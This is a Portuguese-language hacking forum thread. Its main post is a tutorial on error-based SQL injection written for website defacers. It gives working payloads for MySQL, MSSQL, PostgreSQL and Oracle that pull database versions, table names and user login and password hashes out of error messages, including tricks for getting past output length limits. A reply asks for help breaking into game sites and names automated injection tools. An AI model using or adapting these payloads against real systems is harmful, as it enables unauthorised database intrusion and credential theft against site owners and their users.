Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQLi baseado em erros

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQLi baseado em erros

    Qual o defacer ativo que nunca recebeu uma mensagem dessas:
    Código:
    Unknown column '1' in 'order clause'
    Olhando à primeira vista, não parece ter muita lógica. Esta mensagem apareceu quando você começou a testar o número de colunas pelo 'order by' (sim, para continuar, é bom saber SQLi simples). Foi chutando números grandes, diminuindo, até que te veio uma mensagem dizendo que a coluna 1 não existe?
    Antes de começar, você também precisa saber bastante da linguagem SQL. Não vou passar a limpo todo o ataque aqui. Vou deixá-lo em um ponto onde será possível que você o continue sem (muita) dificuldade.
    O SQLi baseado em erros é aquele que fazemos uso da consulta dupla (double-query) - mesmo no MySQL, que "não" permite duas consultas num mesmo comando - e não usamos o comando UNION (pode ser útil contra aqueles famosos mod_security e similares, que bloqueiam determinados comandos na QUERY STRING (dados enviados pelo método GET - impressos na URL - ou POST - ocultos nos HTTP headers).
    Como o próprio nome sugere, o que queremos virá em forma de erros (sim, os erros vão significar algo para você).
    Tudo bem. Imagine que o endereço [domínio]/noticia.php é vulnerável, no parâmetro "id", de método GET. Sendo assim, receberíamos um erro por isso (erro de PHP, SQL ou a página não é exibida corretamente):
    Código:
    /noticia.php?id=123'
    Então, pensando ser um ataque como qualquer outro, começamos outros testes:
    Código:
    ?id=123 and 1=0--+
    ?id=123 and 1=1--+
    No primeiro teste, a página não foi exibida corretamente (afinal, 1!=0). No segundo teste, a notícia foi exibida normalmente (afinal, 1=1). Então, o website é realmente vulnerável.
    Continuando o ataque, vamos começar pelo ORDER BY. Geralmente eu começo por números grandes:
    Código:
    ?id=123 order by 100--+
    ?id=123 order by 10--+
    ?id=123 order by 5--+
    ?id=123 order by 3--+
    ?id=123 order by 2--+
    ?id=123 order by 1--+
    E, impressionantemente, recebemos erro ao tentar ordernar pela coluna 1.
    É bom que você já fique sabendo que este não será um ataque de 1 minuto e meio. Você precisará dedicar um tempo a mais pra esse site. Isto porque o tráfego de dados é menor e mais lento, visto que há um limite de 31 bytes na quantidade de dados extraída.
    Veja como conseguimos provocar um erro booleano (que diz respeito à true ou false) em um servidor SQL, e manipulamos a mensagem de erro para que tenha o que queremos. No caso abaixo, a versão do MySQL rodando:
    Código:
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT VERSION())));
    ERROR 1105 (HY000): XPATH syntax error: '\5.1.50'
    Conseguimos saber que a versão é superior à 5. Neste caso, poderemos usar o information_schema.
    Mas queremos saber mais. Vamos obter, agora, além da versão, o usuário atual e o banco de dados.
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT CONCAT_WS(0x3a,VERSION(),USER,DATABASE()))));
    ERROR 1105 (HY000): XPATH syntax error: '5.1.50:root@localhost:temp'[/code]
    Viu como o que queremos está nos erros? Mas ainda há um problema. Por segurança ou para evitar flood, o servidor SQL limita a parte dinâmica das mensagens de erro a 31 bytes. Quer ver?
    Imagine que tentamos obter um login e senha de uma tabela de nosso próprio banco de dados. Na primeira tentativa, vamos fazer da maneira convencional:
    Código:
    mysql> SELECT CONCAT_WS(0x3a,login,senha) FROM usuarios LIMIT 0,1;
    admin:*84F73E34331C8892EB209C079E0082F0F5BF6080
    Agora, vamos tentar simular um ataque de SQLi error-based:
    Código:
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT CONCAT_WS(0x3a,login,senha) FROM usuarios LIMIT 0,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\admin:*84F73E34331C8892EB209C079'
    Note que ficou faltando uma parte da hash da senha, justamente por causa do limite. Mas há como burlar isso. No exemplo abaixo, vamos ampliar a quantidade de bytes extraíveis para 64 bytes:
    Código:
    mysql> SELECT 1 and row(1,1)<(select count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x FROM usuarios group by x limit 1);
    ERROR 1062 (23000): Duplicate entry 'admin:*84F73E34331C8892EB209C079E0082F0F5BF6080:0' for key 'group_key'
    Note que utilizamos o rand(). Isto significa que nem sempre o retorno vem ou não. Há esta outra maneira que mantém 99% de retorno do resultado. Ficou bem grande, com certeza poucos usariam essa consulta em um ataque, mas observe, principalmente, a lógica:
    Código:
    select ’1 ‘ and if(row(0,0)> (select + count(*), concat((select concat_ws(0x3a,login,senha) from usuarios limit 1), 0x3a, floor(rand()*2)) x from usuarios group by x limit 1),1,if(row (0,0)> (select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*), concat((select concat_ws(0x3a,login,senha) from usuarios limit 1), 0x3a, floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1),0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,if(row(0,0)>(select + count(*),concat((select concat_ws(0x3a,login,senha) from usuarios limit 1), 0x3a,floor(rand()*2)) x from usuarios group by x limit 1),1,(select 1 and 1=1))))))))));
    Complicado, não? E o retorno então? Não, ele já é mais simples... Veja:
    Código:
    ERROR 1062 (23000): Duplicate entry 'admin:*84F73E34331C8892EB209C079E0082F0F5BF6080:0' for key 'group_key'
    Se unirmos estas técnicas a outras funções interessantes do MySQL, podemos ampliar ainda mais a extração de dados.
    Por exemplo: se utilizarmos a função compress() com a biblioteca zlib, poderemos compactar o retorno a uma taxa de até 50%. Mas há a desvantagem de não poder usar comparações booleanas para extrair cada caractere (no caso de Blind SQLi), já que o tipo de dados, compactado, impede isto.
    Código:
    mysql> SELECT compress(version());
    x#3###5
    Mas, novamente uma solução. E, desta, vez, é bem simples. Se utilizarmos a função hex() poderemos transformar o retorno em hexadecimal. Desta forma, transportaríamos qualquer tipo de dados e ainda fazer as comparações booleanas que nos forem necessárias. Ainda podemos concatenar dados.
    Código:
    mysql> SELECT HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))) FROM usuarios LIMIT 0,1;
    2E000000789C05C1C90D00200804C07E7CADE0B1F8D4403B24C6FEE3CCCD7CABB0C554D7A65A0F69E25B6007D31CA004A2EF18203E14400B01
    Vamos tentar aplicar isso em uma simulação de ataque:
    Código:
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))) FROM usuarios LIMIT 0,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\2E000000789C05C1C90D00200804C07'
    Hm... Viu um problema? Sim, aquele velho limite nos impediu de obter todo o retorno.
    Mas agora faremos diferente: vamos navegar por todo o retorno usando a função substr(), similar à de mesmo nome do PHP. Ela nos retorna a parte de uma string de X a Y. Por exemplo:
    Se temos a string ABCDEF:
    substr("ABCDEF", 3, 5) = CDE
    Usaremos esta função para obter cada parte de nossa consulta (uso: substr(string, início, limite)), pegando de 29 em 29 caracteres:
    Código:
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT SUBSTR(HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))),1,30) FROM usuarios LIMIT 0,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\2E000000789C05C1C90D00200804C0'
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT SUBSTR(HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))),31,30) FROM usuarios LIMIT 0,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\7E7CADE0B1F8D4403B24C6FEE3CCCD'
    
    (...)
    
    mysql> SELECT 1 AND ExtractValue(1,CONCAT(0x5c,(SELECT SUBSTR(HEX(COMPRESS(CONCAT_WS(0x3a,login,senha))),121,30) FROM usuarios LIMIT 0,1)));
    ERROR 1105 (HY000): XPATH syntax error: '\'
    Obs.: Você pode usar Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para converter strings de/para hexadecimal.

    Variações entre servidores
    O exemplo acima foi executado em um servidor MySQL. Não há dados para saber se ele é o mais ou menos seguro, mas sabe-se que é o mais utilizado.
    Vamos ver exemplos em outros servidores:
    MSSQL / Sybase
    O ataque é baseado em converter a string, geralmente em texto, para 'int' (inteiro - numérico). Desta forma, ocorre o erro. Exemplo:
    Código:
    SELECT 1 WHERE 1=1 AND 1=convert(int,@@version);-- 
    Conversion failed when converting the nvarchar value 'Microsoft SQL Server (...)
      (...)
      Copyright (c) (...) Microsoft Corporation
      (...) on Windows NT (...) (build X: Service Pack X)
    ' to data type int.
    Além disso, é possível fazer UPDATEs, DROPs, DELETEs, INSERTs e outros comandos, separados por ';'.

    Postgre
    Como no MSSQL, tentaremos transformar strings em valores inteiros.
    Código:
    postgres=# select cast(version() as numeric);
    ERROR: invalid input syntax for type numeric: "PostgreSQL X on X, compiled by GCC X (Servidor) X"
    E seguiremos a mesma lógica do MySQL:
    Código:
    postgres=# select cast((select login || CHR(58) || senha from usuarios) as numeric);
    ERROR: invalid input syntax for type numeric: "admin:X"
    Oracle
    No Oracle, podemos extrair até 214 bytes de dados numa mensagem de erros, se utilizarmos a função XMLType() e tratando um pouco a string.
    Utilizaremos algumas coisas que aprendemos no MySQL, como transformar a consulta em hexadecimal, usar substr() pra navegar pelo retorno, mas lembrando que Oracle não possui limit/offset.
    Será necessário usar a função replace() para substituir os espaços por "_" (underline).
    Código:
    SQL> SELECT XMLTYPE(CHR(60)||CHR(58||(SELECT REPLACE((SELECT banner FROM (SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1),CHR(32),CHR(95))FROM dual)||(CHR(62))|FROM dual;
    ERROR:
    ORA-31011: XML parsing failed
    ORA-19202: Error occurred in XML processing
    LPX-000110: Warning: invalid QName
    ":Oracle_database_X" (not a Name)
    Error at line 1
    ORA-06512: at "SYS.XMLTYPE", line 1
    ORA-6512: at line 1
    no rows selected
    Também pode ser necessário usar a função RAWTOHEX(string) para converter strings para hexadecimal. Veja a simulação de um ataque:
    Código:
    SQL> SELECT 1 FROM dual WHERE 1=1 AND(1)=(SELECT UPPER(XMLTYPE(CHR(60)||CHR(58)||(SELECT RAWTOHEX((SELECT banner FROM(SELECT banner,rownum rnum FROM v$version a)WHERE rnum=1))FROM dual)||CHR(62)))FROM dual);
    ERROR at line 1:
    ORA-31011: XML parsing failed
    ORA-19202: Error occurred in XML processing
    LPX-000110: Warning: invalid QName
    ":VERSAO_EM_HEXADECIMAL" (not a Name)
    Error at line 1
    ORA-06512: at "SYS.XMLTYPE", line 1
    ORA-6512: at line 1
    Lembra de nosso exemplo no início do tutorial? Vamos obter as tabelas desta forma:
    Código:
    noticia.php?id=-583 and (select 1 from(select count(*),concat(table_name,floor(rand(0)*2))x from information_schema.tables group by x)a)--+
    Para obter mais informações sobre este tipo de ataque, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    demais! parabéns 0Kal belo tutorial.
    ---


    Agradeça a todos que ajudam bastando clicar em "Obrigado"

    Comment


    • Font Size
      #3
      Nossa mano muito bom esse tuto
      continue assim para engordar mais esse forum vlw

      Comment


      • Font Size
        #4
        Ola galera sou novo aqui.
        sempre tive enterrese nessa area procurei e testei alguns programas...
        eu keria saber como invadir esses tipos de sites php ... e entrar no db ..pelo sql helpet ja consegui entra em alguns sites q me passaram o site vuneravel...
        mais nao consigo entrar em nenhum site q eu queira ou axar a vunerabilidade no site...
        eu jogo Tibia ..todos sites de tibia sao quase mo mesmo estilo Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... , Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... , Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
        sei que nem todos tem vulnerabilidade por exemplo o wilkersots o cara deve ter arrumado prq foi invadido ontem.
        um cara aki do meu msn ja hackio esses mesmo OTs e sites ....entao sei que é possivel
        alguem me da uma luz?
        Tenho em maos o Sql Helper e o Havij....

        Comment


        • Font Size
          #5
          Belo tuto cara... =]
          "Nunca desista de seus sonhos. Desisti de seus sonhos é abrir mão da felicidade."
          (Augusto Cury)



          Meu Blog... http://www.lab-infor.blogspot.com
          Meu canal do Youtube... http://www.youtube.com/user/rodrigo32323232

          Comment

          X
          Working...
          X